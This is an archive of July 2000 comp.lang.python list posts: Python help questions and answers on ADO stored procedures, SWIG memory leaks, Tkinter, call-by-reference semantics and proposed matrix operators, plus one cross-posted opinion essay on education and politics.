From: nowonder at pool.informatik.rwth-aachen.de (Peter Schneider-Kamp)
Date: Tue, 25 Jul 2000 05:40:57 +0000
Subject: mapping the read() fonction
References: <8lhsu5$huv$1@reda.worldonline.fr>
Message-ID: <397D2869.2473D923@pool.informatik.rwth-aachen.de>

Benjamin wrote:
> 
> I would like to map the read() function of a file object

Just use a lambda like this:

map(lambda f:open(f,"r").read(), list_of_filenames)

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From bos at hack.org  Mon Jul 31 17:57:05 2000
From: bos at hack.org (Rikard Bosnjakovic)
Date: Mon, 31 Jul 2000 23:57:05 +0200
Subject: Profiler
Message-ID: <3985F631.2814FE9A@hack.org>

I'm using the profiler-module and it works okay. But now I'm interested
in checking how many bytes memory different parts of my script
allocates, especially my deep-nested and huge dictionaries.

Is there a way/tool/whatever for this purpose?


-- 
Rikard Bosnjakovic - http://a214.ryd.student.liu.se

Anyone sending unwanted advertising e-mail to my address will be
charged $25 for network traffic and computing time. By extracting my
address from this message or its header, you agree to these terms.


From pauldubois at home.com  Sun Jul  2 22:40:03 2000
From: pauldubois at home.com (Paul F. Dubois)
Date: Mon, 03 Jul 2000 02:40:03 GMT
Subject: Getting double* from NumPy array?
References: <ted.drain-2606001323500001@mjordan.jpl.nasa.gov>
Message-ID: <72T75.24010$i5.229971@news1.frmt1.sfba.home.com>

Please see the appropriate chapter in the Numerical Documentation (Chapter
12, I believe). There is quite a bit to know and just telling you to access
x->data would not be doing you any favors. Please read the entire chapter
before proceeding.

The process is not very complicated but it must be done correctly. Don't
overlook the import_array statement.

Ted Drain <ted.drain at jpl.nasa.gov> wrote in message
news:ted.drain-2606001323500001 at mjordan.jpl.nasa.gov...
> I have some existing C/C++ code that can accept a double array ( int len,
> and double* ptr) to do some processing.  I want to allow users to create
> arrays in python using NumPy and then provide an interface to pass these
> arrays to my C/C++ code.
>
> Assuming a 1-dimensional NumPy array, is there an easy way to extract a
> pointer to a double and length from the python object?  The C/C++ isn't
> going to change the object so I'd prefer not to make a copy of it.
>
> Thanks
> Ted
>
> --
> Ted Drain   Jet Propulsion Laboratory    Ted.Drain at jpl.nasa.gov




From lull at acm.org  Wed Jul  5 23:07:00 2000
From: lull at acm.org (John Lull)
Date: 5 Jul 2000 22:07:00 -0500
Subject: Singleton COM local/remote server?
References: <7bd5msssk48km280t9bvds4i3v6hs7r8or@4ax.com> <8jvad40s00@news1.newsguy.com>
Message-ID: <ult7ms8ob3qbmv57qchdi2kg7mqdf2gfvt@4ax.com>

At the dawn of the third millenium (by the common reckoning), "Alex
Martelli" <alex at magenta.com> wrote (with possible deletions):

> Now, there remains the issue of, how to control the flags
> used on CoRegisterClassObject by pythonw.exe...?  I can't
> find it in the docs (which doesn't mean it isn't there...
> it just says I can't find it).  Maybe we need to look at
> the sources...?

It seems to be passed as the third command line argument to
LocalServer.py, which calls RegisterClassFactories(), which in turn
calls CoRegisterClassObject().

LocalServer.py is apparently run anytime you start a Python local
server.  Now I just need to figure out how to set up the command line
arguments -- I suspect it's something set in the registry during
installation.

Thanks much.

Regards,
John


From hzhu at knowledgetrack.com  Wed Jul 12 15:32:32 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Wed, 12 Jul 2000 19:32:32 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>

We are at a crucial juncture concerning introduction of new operators into
Python for matrix computation,

1. Experiences with Matlab show that different operators for matrix and
   elementwise operators are very important

2. It is difficult to add .* and ./ as . is already a valid token.  It seems
   that next candidate on the standard keyboard is @.

3. Gregory Lielens has just implemented a patch that could parse additional
   operators containing @

   a at b  is equivalent to a*b,  overloaded using __mmul__   and __rmmul__  
   a@/b                  a/b                    __mrdiv__  and __rmrdiv__ 
   a/@b                  b/a                    __mldiv__  and __rmldiv__ 
   a@@b                  a**b                   __mpow__   and __rmpow__  

   He indicates similar constructions can be added easily.  


We intend to add these operators together with Thomas Wouters's augmented
assignment operators (+=,*=, etc) to MatPy, but before that several
decisions need to be made.  First, the main choices:


1. Use a*b as matrix mul, and a@*b as elementwise mul.
Pros:
- Consistent with Matlab.
- Consistent with current MatPy.
- Convenient for matrix computations.
Cons:
- Inconsistent with NumPy
- How to differentiate left and right div (matlab a\b and a/b)?


2. Use a@*b as matrix mul, and a*b as elementwise mul.
Pros:
- Consistent with NumPy
- Can use a@/b and a/@b as matlab a/b and a\b.
- Can use a at b as inner product so that a at b works irrespective of whether a
  and b are row or col operators.
Cons:
- Inconsistent with current MatPy.  Need great effort to switch.
- Using two symbol operator for matrix mul is cumbersome for long formulas.
- It kind of looks ugly.


3. Use a at b as matrix mul, and a*b as elementwise mul.  This has most of the
pros and cons of choice 2, except 
Pros:
- Single symbol operators for matrix mul and element mul.
Cons:
- Can't use a at b as inner product.


Just to add to the agony, here are a few contrary views:

1. Consistency with Matlab is not necessarily good.  In Matlab operators
   default to matrix (cf * and .*) but functions default to elementwise (cf
   exp and expm).  In Python ** is defined by __pow__.  Should it be
   consistent with pow the function or ** the operator?

2. Consistency with NumPy is not necessarily good.  Currently one can use
   MatPy and NumPy at the same time.  a*b will be matrixwise for MatPy and
   elementwise for NumPy.  This is convenient when each usage is dominant in
   some part of a program.  Removing this difference and MatPy will lose a
   lot of appeal when it is needed.

3. Although it is relatively difficult to switch the usage in MatPy, it is
   still a good time if we deem this to be A Good Thing.  When the status is
   changed to beta from alpha it would be next to impossible to switch.


To throw you completely off the track, here is one additional feature
request that would great please mathematicians and greatly annoy computer
scientists: Use ^ and @^ for matrix power.  Currently ^ is defined as xor
which is of sufficiently low level that is unlikely to occur with matrix
computations.  Note that this is not in our plan right now.


One other thing that will be of great efficiency value (whenver somebody
comes forward to do it) is to parse := as assignment.  This way we can let
a=b be simple reference assignment without creating a new Matrix object.


The implementors of both previous patches have cautioned that Guido is
unlikely to adopt the patch for the .* or @* operators.  But I'm quite
confident that he can be persuaded.  There is a large number of users of
Matlab and Octave (maybe even more than users of Python), and there is no
fundamental reason they cannot use Python for doing the same thing, provided
that we are allowed to add this little additional operator.  :-) What other
incentives are needed to persuade Guido?  Here's a quote from Gregory,

> they make a huge difference in readability of code dealing with linear
> algebra, in particular when using small matrices.  Such operators explain
> partly the popularity of Matlab-like tools, imho.

I can argue that linear algebra is very important for Python, perhaps even
more important than complex numbers, but this is off topic.

So all your comments, suggestions and flames a invited.  I just have a small
request: As this is getting too long, please reply separately to different
parts of this article, so that the discussion threads remain manageable.


-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From stephen_purcell at yahoo.com  Thu Jul 20 09:51:33 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 20 Jul 2000 13:51:33 -0000
Subject: Intercept methods/raise exception
In-Reply-To: <3979f896.26656309@news.online.no>
Message-ID: <8l7055+uhdi@eGroups.com>

thomas at c... (Thomas Weholt) wrote:
> >Is there a way to define a method in a class that is called each
time
> >every other method is called in that class, and based on a
attribute,
> >raise an exception or let the method-class go thru?

Check out the Bastion standard library module. Even if you can't use
it directly, the source code will certainly help you.

  http://www.python.org/doc/lib/module-Bastion.html

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me





From jepler.lnk at lnk.ispi.net  Wed Jul 12 18:59:09 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Wed, 12 Jul 2000 22:59:09 GMT
Subject: Glade
References: <396B9784.191A513D@tcomhp43.epfl.ch>
Message-ID: <slrn8mp32j.ild.jepler.lnk@potty.dsndata.com>

On Tue, 11 Jul 2000 23:54:13 +0200, Cedric Lefeuvre
 <Cedric.Lefeuvre at tcomhp43.epfl.ch> wrote:
>1...Is there a good documentation because i didn't succeed in finding
>one in the official site.

I haven't found any.  Instead, I learned Glade by trial and error.

>2...What is the capacity of Glade..I mean it seems to be easy to create
>static windows but is there the possibility (in the way to show results
>of some applications) for example to change the size of a tree or a a
>table....

Once you've created your application using a statement like
	wtree = libglade.GladeXML(gladefile)
you can refer to individual widgets by
	widget = wtree.get_widget("widget_name")
and then manipulate that widget:
	widget.set_usize(new_width,new_height)

Of course, you can also add a scrollbar within glade and/or set the widget
to expand when the user resizes the window.  Personally, I don't care for
applications that spontaneously move/resize their own windows.

Jeff


From mksql at my-deja.com  Thu Jul  6 16:27:05 2000
From: mksql at my-deja.com (mksql at my-deja.com)
Date: Thu, 06 Jul 2000 20:27:05 GMT
Subject: Win32com curiousity #2: PythonWin code completion
Message-ID: <8k2q2c$fg2$1@nnrp1.deja.com>

When I first start PythonWin, the code completion feature seems to only
partially function, until I save the source file at least once. This is
when opening an existing source file, and after I have run makepy on
the ADO libraries. For example, in a program with a recordset defines
with:

    rs = win32com.client.Dispatch('ADODB.Recordset')

typing 'rs.' brings up a partial list of methods/properties - Fields,
MoveNext, Open

After saving the program, 'rs.' brings up the entire expected list.
Interestingly, the 3 keywords above are method/properties that already
exist in preceeding code.

Am I missing a configuration step?






Sent via Deja.com http://www.deja.com/
Before you buy.


From scorder at incigna.com  Thu Jul 13 12:24:38 2000
From: scorder at incigna.com (Sam)
Date: Thu, 13 Jul 2000 12:24:38 -0400
Subject: ASP Questions
References: <8kk616$5ck$1@plutonium.compulink.co.uk>
Message-ID: <m6qrms8p9min910o1ok1mlbtg0bi33hhts@4ax.com>

On 13 Jul 2000 10:35:18 GMT, gbreed at cix.compulink.co.uk wrote:

>Here are some outstanding problems I have with ASP files written in 
>Python.  Hopefully, some of you will have solutions.
>
>I can't write to session or application variables.  In VBScript, this is 
>done like Session("key")="value".  In Python, for writing to a new key, 
>that translates to assignment to None.  I found some documentation for 
>fixing this in P*rlScr*pt, but still can't get it to work in Python.
>
Session("key") = value is a VBScript specific thing.  Its bypassing
the default method of Session which in this case is probably Item.
I'm not sure off hand.
>Response.Redirect doesn't terminate execution of the script.  I'm getting 
>round this by throwing an exception, but is there a command that can do 
>the same job more cleanly?

Have you tried a return statement?  I'm guessing here but the asp page
is probably being executed in some kind of invisible function.

>I ran a script with an infinite loop once.  How should I have terminated 
>it (other than by proof reading my code better)?

Not sure.  The same has happened to us in vbscript and we ended up
shutting down the server.  He forgot the recordset.movenext while in a
loop processing a recordset.  Typically if you can get to the box fast
enough before the ram is swallowed up you can shutdown iis.  Otherwise
I think it was the power button because the box was totally
unresponsive.  There may be a page execution timeout that can be
specified in iis.  I don't remember off hand.

>I'm finding the, when Append-ing parameters to a stored procedure, the 
>parameter names are ignored.  Is this right?  This isn't a Python problem, 
>but I thought I'd throw it in anyway.
>
Now something that I definately know about.  I ran into this problem
last week.

Here is the relavant code.

import win32com.client
constants = win32com.client.constants  
# I just do it this way instead of a from so that its easy to reimport
in asp.


rs = win32com.client.Dispatch('ADODB.Recordset')
cmd = win32com.client.Dispatch('ADODB.Command')
cmd.ActiveConnection = ("big long connection string")
cmd.CommandText = "ExpConfig_Get" #Name of stored proc
#a tuple of parameters
params = ("ExpJobID", constants.adInteger, 4, 11),  

#Here is the line you are probably missing.
cmd.CommandType = constants.adCmdStoredProc

#Now I append the parameters...
for parm in params:
    cmd.Parameters.Append(cmd.CreateParameter(parm[0], parm[1],
constants.adParamInput, parm[2], parm[3]))

#set cursor location and run.
rs.CursorLocation = constants.adUseClient
rs.Open(cmd, CursorType = constants.adOpenForwardOnly, LockType =
constants.adLockReadOnly)


The reason that ado is ignoring your parameters is that the default
command type is adCmdText.  I guess when it is text it doesn't bother
to look for any parameters associated with the command object.  Though
it might if your sql looked like "select * from whatever where id = ?"
IIRC ? is used in the data environment designer in VB to denote a
parameter in  an sql call.

>
>Right, that'll do.  Thank you for you time and any replies.
>
>           Graham
Your welcome hope it helped,
-Sam


From weeks at golden.dtc.hp.com  Sun Jul 30 18:20:48 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 30 Jul 2000 22:20:48 GMT
Subject: experts disagree on "call-by-reference"
Message-ID: <8m29o0$p9g$2@news.dtc.hp.com>

Lisp, CLU, Java, and Python implement objects, assign objects, and pass
objects to functions similarly.  [Although Jave differs regarding its
"primitive" types.]  So I was curious about how various Lisp, CLU, and Java
texts dealt with the issue of "references" and "call-by-whatever".  I
examined my bookshelf.  Some texts used phasing I like; others didn't:

"Lisp" (by Winston and Horn):

The text makes no distinction between objects and references to objects,
and it states that Lisp is call-by-value.

"Common Lisp" (by Steele):

The text makes no distinction between objects and references to objects.
The text implies that objects are addresses: "(eq x y) is true iff x and y
are the same identical object.  (Implementationally, x and y are usually eq
iff they address the same identical memory location.)"  No mention is made
of call-by-whatever.

Structure and Interpretation of Computer Programs (by Abelson and Sussman):

The text implies that objects are addresses: "In this representation, which
is called box-and-pointer notation, each object is shown as a pointer to a
box".  The text then partially reverses itself with: "The box for a pair is
actually a double box, the left part containing (a pointer to) the CAR of
the pair and the right part containing the CDR."  For consistency, "(a
pointer to)" should have been omitted.  The text states that Lisp is
call-by-value.

CLU Reference Manual (by Liskov and others):

The text doesn't say quite what an object is, but it seems to say that an
object is not an address.  It also states that CLU argument passing is not
call-by-value or call-by-reference. but is instead "call-by-sharing".

The Java Language Specification (by Gosling, Joy, and Steele):

The text distinguishes between objects and references.  No mention is made
of call-by-whatever.

All of the passages mentioned above could just as well apply to Python.
The experts are in explicit disagreement.

Regards,
Greg


From hamish_lawson at yahoo.co.uk  Tue Jul 25 16:58:49 2000
From: hamish_lawson at yahoo.co.uk (Hamish Lawson)
Date: Tue, 25 Jul 2000 13:58:49 -0700
Subject: ZORB for Mac?
References: <397DFAD2.6354B460@spacenet.tn.cornell.edu>
Message-ID: <16f52c28.854faa9c@usw-ex0106-046.remarq.com>

Here's what the Zope FAQ says about building Zope on the Mac. I
don't know whether the same issues would apply to building just
ZODB.

> Is there a version of Zope that runs on the Macintosh OS?
>
> Due to some C code that is embedded in Zope, it cannot run
> on "straight" Python code, and therefore does not currently
> run on a Mac. This does not mean that Zope could not be
> ported. Michel Pelletier of Digital Creations has
> commented, "Certainly, there is an issue about the C code that
> comes with Zope. There is no reason why someone with enough
> development studios and third party libraries couldn't compile
> them however, they are written in ANSI C." The good news is
> that Michel feels that Zope should compile cleanly on OS X,
> although he has not yet given it a try.
>
> Can I run Zope on a Mac using the LinuxPPC operating system?
>
> Yes, several people are successfully running Zope on LinuxPPC
> Macs.

Hope this helps,
Hamish Lawson




-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From jerome.quelin at insalien.org  Sat Jul  1 03:51:14 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Sat, 1 Jul 2000 09:51:14 +0200
Subject: Passing variable-length keyworded arguments list to base class constructor?
References: <962352947.103057778@news.libertysurf.fr> <8F635367Cgmcmhypernetcom@199.171.54.154> <962379073.1230449645@news.libertysurf.fr> <8F63C1ABDgmcmhypernetcom@199.171.54.154>
Message-ID: <962437874.1408268869@news.libertysurf.fr>

gmcm at hypernet.com (Gordon McMillan) wrote:
>>That is exactly what I want to know: what this mucking consists of?
>Depends on what args the base class expects. If the base class expects 
>**kwargs, then you can have anything in there.
>But maybe you've been playing with the interpreter, and have discovered all 
>this by now...
Yep, this works fine by now. Thanks all for your replies.

Regards,
Jerome
--
jerome.quelin at insalien.org


From m.faassen at vet.uu.nl  Sun Jul 30 16:45:22 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 20:45:22 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8m1ksm$kr9$1@news.dtc.hp.com>
Message-ID: <8m2452$pqc$2@newshost.accu.uu.nl>

(Greg Weeks) <weeks at golden.dtc.hp.com> wrote:
> [I should have mentioned this in my previous response, but I missed it:]

> Martijn Faassen (m.faassen at vet.uu.nl) wrote:
> : This seems to be where the confusion comes in. When people claim Python
> : passes by value, because the *references* are being passed by value, 
> : that seems to be just stating that the only thing the computer can pass
> : in the end is numbers. If you say that, everything is by value

> Not really.  The question is *which* number do you pass to the function:
> the number written in the argument variable or the address of the argument
> variable (which is then implicitly dereferenced).  Perl passes the latter
> (call by reference), Python passes the former (call by value).  So, in Perl
> you can have:

>     $x = 0;
>     f($x);
>     print "$x\n";		# PRINTS 42

Are you sure it works like that in Perl? I am not that familiar with Perl,
but I thought it had an explicit way to do dereferencing. I thought Perl
by default passes things *by value*, though you *can* pass the reference
to a value if you want to (allowing this trick).

In Python you can have the same thing, in fact, as Python passes references
around. Except that in the case of integers, the integer object is immutable.
But take a list, for instance, and you can do it:

x = [0]

def f(x):
    x[0] = 42

f(x)
print x # prints [42]

That's because in Python everything's a reference (and thus references are
passed as well). It's just that some references point to mutable objects,
and some don't (and in the latter case the semantics is equivalent to
value semantics).

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From ioadler at my-deja.com.bbs  Thu Jul 13 18:30:03 2000
From: ioadler at my-deja.com.bbs (ioadler at my-deja.com.bbs)
Date: 13 Jul 2000 22:30:03 GMT
Subject: Memory leaks
Message-ID: <3bOLVR$mmM@openbazaar.net>

In article <8F6667253gmcmhypernetcom at 199.171.54.154>,
  gmcm at hypernet.com (Gordon McMillan) wrote:
> Ingo Adler wrote:
>
> [strange leaks in SWIG'd code]
>
> >I have some simple Python-Code which generated memory leaks (ca. 4MB):
> >(The real code is more complicated, but I could strip it down to this
> >simple example = the smallest example with the memory leak.)
> >//---------------------------
> >x = X()
> >
> >for i in range(100000):
> >    y = x.getY()
> >    y.getNumber()
> >//---------------------------
>
> Doing things in the "obvious" way from your (snipped) incomplete code, I
> get no leak when using MSVC 5.
>
> - Gordon

Hi Gordon,

Finally, I reproduced the leaks under the control of "Code Guard", which can
list them.

For every call in the loop there is an entry like this (I translated it to
English):

Error 00175. 0x300010 (Thread 0xFFE455D5):
Ressource-Leak: memory block (0x2732848) has never been released

memory block (0x02732848) [Size: 40 Byte] was allocated with malloc
call stack:
   0x004AECDD(=FORTUNA.EXE:0x01:0ADCDD) \Python\Objects\stringobject.c#145
   0x0044BE99(=FORTUNA.EXE:0x01:04AE99) \src\fortuna_wrap.c#769
   0x0044F969(=FORTUNA.EXE:0x01:04E969) \src\fortuna_wrap.c#1824
   0x0046B9F9(=FORTUNA.EXE:0x01:06A9F9) \Python\Python\ceval.c#2359
   0x0046B892(=FORTUNA.EXE:0x01:06A892) \Python\Python\ceval.c#2324
   0x0045EDBE(=FORTUNA.EXE:0x01:05DDBE) \Python\bltinmodule.c#126

That makes 40*100000 = 4 MB as I measured roughly before.

fortuna_wrap.c is the code generated by swig:

...

SWIGSTATICRUNTIME(PyObject *)

SWIG_NewPointerObj(void *ptr, _swig_type_info *type) {

  char result[512];

  PyObject *robj;

  if (!ptr) {

    Py_INCREF(Py_None);

    return Py_None;

  }

#ifdef SWIG_COBJECT_TYPES

  robj = PyCObject_FromVoidPtrAndDesc((void *) ptr, type->name, NULL);

#else

  SWIG_MakePtr(result,ptr,type);

// line 769
  robj = PyString_FromString(result);

#endif

  return robj;

}


...

#define Y_getX(_swigobj)  (_swigobj->getX()) static PyObject
*_wrap_Y_getX(PyObject *self, PyObject *args) {  Y  *_arg0;  PyObject
*_resultobj,*_argo0=0;	X  *_result;  self = self;
if(!PyArg_ParseTuple(args,"O:Y_getX",&_argo0))	return NULL;  if
((SWIG_ConvertPtr(_argo0,(void **) &_arg0,SWIGTYPE_Y_p,1)) == -1) return
NULL;  _result = (X *)Y_getX(_arg0);

// line 1824
    _resultobj = SWIG_NewPointerObj((void *) _result, SWIGTYPE_X_p);
    return _resultobj;
}

...


So it happens in PyString_FromString - but only with this loop (= both
functions in the loop).

Any suggestions?

Ingo





Sent via Deja.com http://www.deja.com/
Before you buy.


From hsl at tcp.co.uk  Thu Jul  6 13:04:14 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Thu, 06 Jul 2000 18:04:14 +0100
Subject: tkinter frames
References: <8k26af$1nq$1@nnrp1.deja.com>
Message-ID: <v4e9ms0nja0k5eodesc86cga9gua2ejirf@4ax.com>

On Thu, 06 Jul 2000 14:49:56 GMT, Keith Murphy <kpmurphy at my-deja.com>
wrote:

>can anyone tell me why this doesn't work?
>
>from Tkinter import *
>
>root = Tk()
>myFrame = Frame(root, width=200, height=200, bg='red')
>myFrame2 = Frame(root, width=200, height=200, bg='orange')
>
>label1 = Label(myFrame, text='hi')
>
>myFrame.grid(row=0, column=0)
>myFrame2.grid(row=0, column=2)
>
>root.mainloop()
>
>
>...(in my mind)it should display two colored frames, one containing a
>label.
>

You need to apply the appropriate geometry manager to label1 to get it
displayed within the frame.

--
Martin (off-duty)
Chandlers Ford, Hampshire


From thomas at xs4all.net  Sun Jul 16 11:24:47 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 16 Jul 2000 17:24:47 +0200
Subject: Imports in classes??
In-Reply-To: <em4uxgan.fsf@jumbo.skott.dk>; from mskott@image.dk on Sun, Jul 16, 2000 at 03:11:03PM +0000
References: <em4uxgan.fsf@jumbo.skott.dk>
Message-ID: <20000716172447.X7340@xs4all.nl>

On Sun, Jul 16, 2000 at 03:11:03PM +0000, Martin Sk?tt wrote:

> Im currently writing a database applikation using Python and
> PostgreSQL. Because I need both a GUI and a web interface i have
> chosen to divide the program in three classes (and files): one containing my
> database queryes and one for each interface type. But where would be
> the right place to import my database connection module (pygresql)? In
> each interface file or in the query file?
> I guess both solutions would would work, but what would be the "right
> thing"?

The right thing would be to do it when you need it. If you need the pygresql
module in each interface file (that is, you actually reference it), you will
have to put it in there. If you don't, well, don't :-) Don't import modules
you aren't going to use.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From digitig at cix.co.uk  Sat Jul 22 16:28:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Sat, 22 Jul 2000 21:28 +0100 (BST)
Subject: Operators for everything (was Re: Operators for matrix)
References: <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <memo.20000722212847.22193A@digitig.compulink.co.uk>

In article <m38zuvny7v.fsf at atrus.jesus.cam.ac.uk>, mwh21 at cam.ac.uk 
(Michael Hudson) wrote:

> W.Whiten at mailbox.uq.edu.au (Bill Whiten) writes:
> 

<snip>

> > I would prefer the normal oprerators plus an escape character 
> > followed by
> > additional characters to define new operators eg @+ @div etc.
> 
> I quite like this idea (unlike most of the others that have been
> mentioned...); it reminds me of Haskell.

Ouch -- I don't. The type of an identifier determined by the characters in 
the identifier, rather than being assigned? That's one of the things I 
loathe about Perl. And what would a Python identifier be doing, 
constrained to refer only to one type?


From jhe at webde-ag.de  Thu Jul 20 04:07:32 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Thu, 20 Jul 2000 10:07:32 +0200
Subject: Get the name of the superlcass?
References: <39779f54.3806062@news.online.no>
Message-ID: <8l6bt3$euc$1@pollux.ip-plus.net>

"Thomas Weholt" <thomas at cintra.no> schrieb im Newsbeitrag
news:39779f54.3806062 at news.online.no...
> Ex. I got a class Structure, and a sublcass Building. I want to check
> in a list for structures, then see if any of them are buildings.

if isinstance(UncleTomsHut, Building): ...




From OneDay at ATime.net  Sat Jul 22 06:42:24 2000
From: OneDay at ATime.net (OneDay at ATime.net)
Date: Sat, 22 Jul 2000 06:42:24 EDT
Subject: Newbie question, Getting Started?
Message-ID: <8lbtqg$2drj$1@earth.superlink.net>

Hello all,

        I've done some programming with MS Access and Excell Visual Basic, but 
am new to Python. I've been reading the tutorial for several days now and am 
having difficulty figuring out where to start. For example, where do I write a 
simple MessageBox program? 

        Can I write Python 1.5.2 or Tcl executable programs that can be run on 
a PC that does not have python installed?

        Thanks for your time, Al

(The only stupid question is the one not asked.)


From regenkind at gmx.de  Mon Jul 10 14:01:32 2000
From: regenkind at gmx.de (Frank Timmermann)
Date: Mon, 10 Jul 2000 20:01:32 +0200
Subject: including files
References: <9yna5.229$iT2.4602@m2newsread.uni2.es>
Message-ID: <396A0F7C.43F5CBE8@gmx.de>

Hi,

import modulname

that is all to do to use a module. you don't need something like a '.h'
file to include a module.

cu regenkind

"Fernando Rodr?guez" wrote:

> Hi!
>
>     What's teh Python's equivalent for C's #include "myfile.h"? O:-)
>
> TIA
>
> --
>
> ---------------------------------------
> Fernando Rodr?guez



From urner at alumni.princeton.edu  Fri Jul 28 13:18:00 2000
From: urner at alumni.princeton.edu (Kirby Urner)
Date: Fri, 28 Jul 2000 10:18:00 -0700
Subject: Python in politics (sssssssssnake!)
Message-ID: <nif3osg6mr87dsd5grafifpck048jr6ec9@4ax.com>

Something from another newsgroup but mentions Python, so I 
elected to cross-post (to the CIA group as well, because of
the InQTel thing)[1].  For more context re the below, check:

http://www.egroups.com/message/synergeo/1319
http://www.egroups.com/message/synergeo/1321

Also my "Math Makeover" homepage at:
http://www.teleport.com/~pdx4d/makeover0.html

The basic idea is to remix education topics to come up
with more robust synergies (blah blah) i.e. get more 
kids doing Python programming around polyhedra, while
watching TV shows which show how life in a Fly's Eye
dome might be exciting, and useful to others (ala 'ER').

Kirby
4D Solutions
.projects: videogrammatron, synergetics, philosophers network

[1] http://www.in-q-tel.com/

Note: changed "Malthusian" to "Malthusian-minded" for a 
better read.

=========================================================================

Newsgroups:   bit.listserv.geodesic
Date:         Fri, 28 Jul 2000 09:37:43 -0700
Reply-To:     List for the discussion of Buckminster Fuller's works
              <GEODESIC at LISTSERV.ACSU.BUFFALO.EDU>
Sender:       List for the discussion of Buckminster Fuller's works
              <GEODESIC at LISTSERV.ACSU.BUFFALO.EDU>
From:         Kirby Urner <pdx4d at TELEPORT.COM>
Subject:      Re: more late night synergetics
Comments: cc: synergeo at egroups.com
To:           GEODESIC at LISTSERV.ACSU.BUFFALO.EDU

At 08:55 AM 07/28/2000 -0700, Dick Fischbeck wrote:
>Kirby-This is getting close to language I can really
>grab onto.  Would you rewrite this piece, say so that
>an average sixth-grade could get it?
>Thanks,
>Dick

I think for TV-immersed 6th graders these ideas would
work best if presented as video with computer graphics.

What we need is a databank of short videoclips,
averaging under a minute in length, and retrievable
by key word.  You string these together or call them
up in response to student questions.  Hypertext
interface.  Distribution is by CDROM or DVD.

In the USA, the Department of Education and DARPA
should be pumping bucks into some prototypes, in
consortium with the private sector (the corporations
need not always be USA-based e.g. Sony), to catalyze
a renaissance in education.  A presidential candidate
who doesn't speak in definite, clear terms about how
she or he plans to revamp education is just blowing
smoke, trying to get elected without doing the
requisite homework.

DARPA previously funded a "Computer Programming for
Everybody" initiative (CP4E) designed to get more
programming into the schools, with the Python language
spearheading the effort.[1]  That grant has long since
run out, and is small change next to what's needed
to spark imaginations around design science concepts
more generally.

Hollywood needs to get into the act, casting stars
against a backdrop of futuristic artifacts that exists
as working prototypes, not simply as phoney props or
stage magician special effects.  The game of brand
placement (embedding logos in the actual programs,
vs. separating out into separate advertising segments)
will make a lot of sense in this context, as corporations
vie with one another to prove their sponsorship of
the "sexiest future" (e.g. Fly's Eye air-liftable
utility pods, wired to cyberspace and staffed by
youngsters with heavy duty real world responsibilities,
ala ER -- real time camera access via webcam and TV
segments (this is not a new theme for me -- shows
like 'Survivor' bring us closer)).

We're in dire need of a realistic futurism, an
attainable positive tomorrow.  Because a self-indulgent
and Malthusian-minded academia has fallen down on the 
job (by and large), Federation pseudo-Science ala
Star Trek has been allowed to fill the cultural
void, holding out the prospect of a high tech future,
but using mumbo jumbo concepts instead of hard
science-math, leaving kids to fantasize helplessly
about some 24th century, while Spaceship Earth
meanwhile remains in the grip of obsolete power
structures, desparate to hang on to power (the
Napster fracas being just the tip of the iceberg
vis-a-vis that juggernaut).[2]

A lot of intellectuals overseas are well-aware of
how USA politicos are consistently and concertedly
ignoring their leadership responsibilities, which
include inspiring positive future visions, vs. simply
serving as the puppets and task masters of those
who see humans as little more than exploitable
consumers.  This has the effect or eroding the
credibility and even the comprehensibility of the
political leadership.  Why don't they make any
sense?

Education is from the inside out, but the inner world
has been left in the hands of media manipulators who
fill heads with cheap googoo-brained claptrap,
whatever it takes to create a new generation of mall
rats and fast food junkies.  The USA, such as it
still exists, is working to counter that diet, with
healthful content -- design science based positive
future imagery, backed up with real math and
science, being chief among the vitamins and
minerals we need to firm up our jello-brained
culture.

We should start a race to see which presidential
candidate we can get to say "Buckminster Fuller"
on TV first.  The Republicans have an edge, because
President Reagan awarded Bucky the Medal of Freedom.
But Gore is into the internet, and that's a relevant
segue to design science as well.  Nader is highly
critical of corporations ala 'Grunch of Giants'
and so has plenty of hooks.  There's nothing stopping
any of these campaigns from jumping on the design
science bandwagon and demonstrating some ability
to point towards a positive future for all humanity.
Any candidate who fails to lead the way to a better
tomorrow ipso facto fails the minimum test for
leadership ability, in my book.

Kirby

[1] CP4E: http://www.python.org/doc/essays/cp4e.html
[2] http://www.salon.com/tech/col/rose/2000/07/27/napster_shutdown/index.html




From fiona at sitegnome.com  Fri Jul 14 00:14:48 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 14 Jul 2000 04:14:48 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 14th, 2000
Message-ID: <20000714041448.27471.qmail@synop.com>

Hello!

Once again another collection of entries into http://python.faqts.com

Cheers,

Fiona


## New Entries #################################################


-------------------------------------------------------------
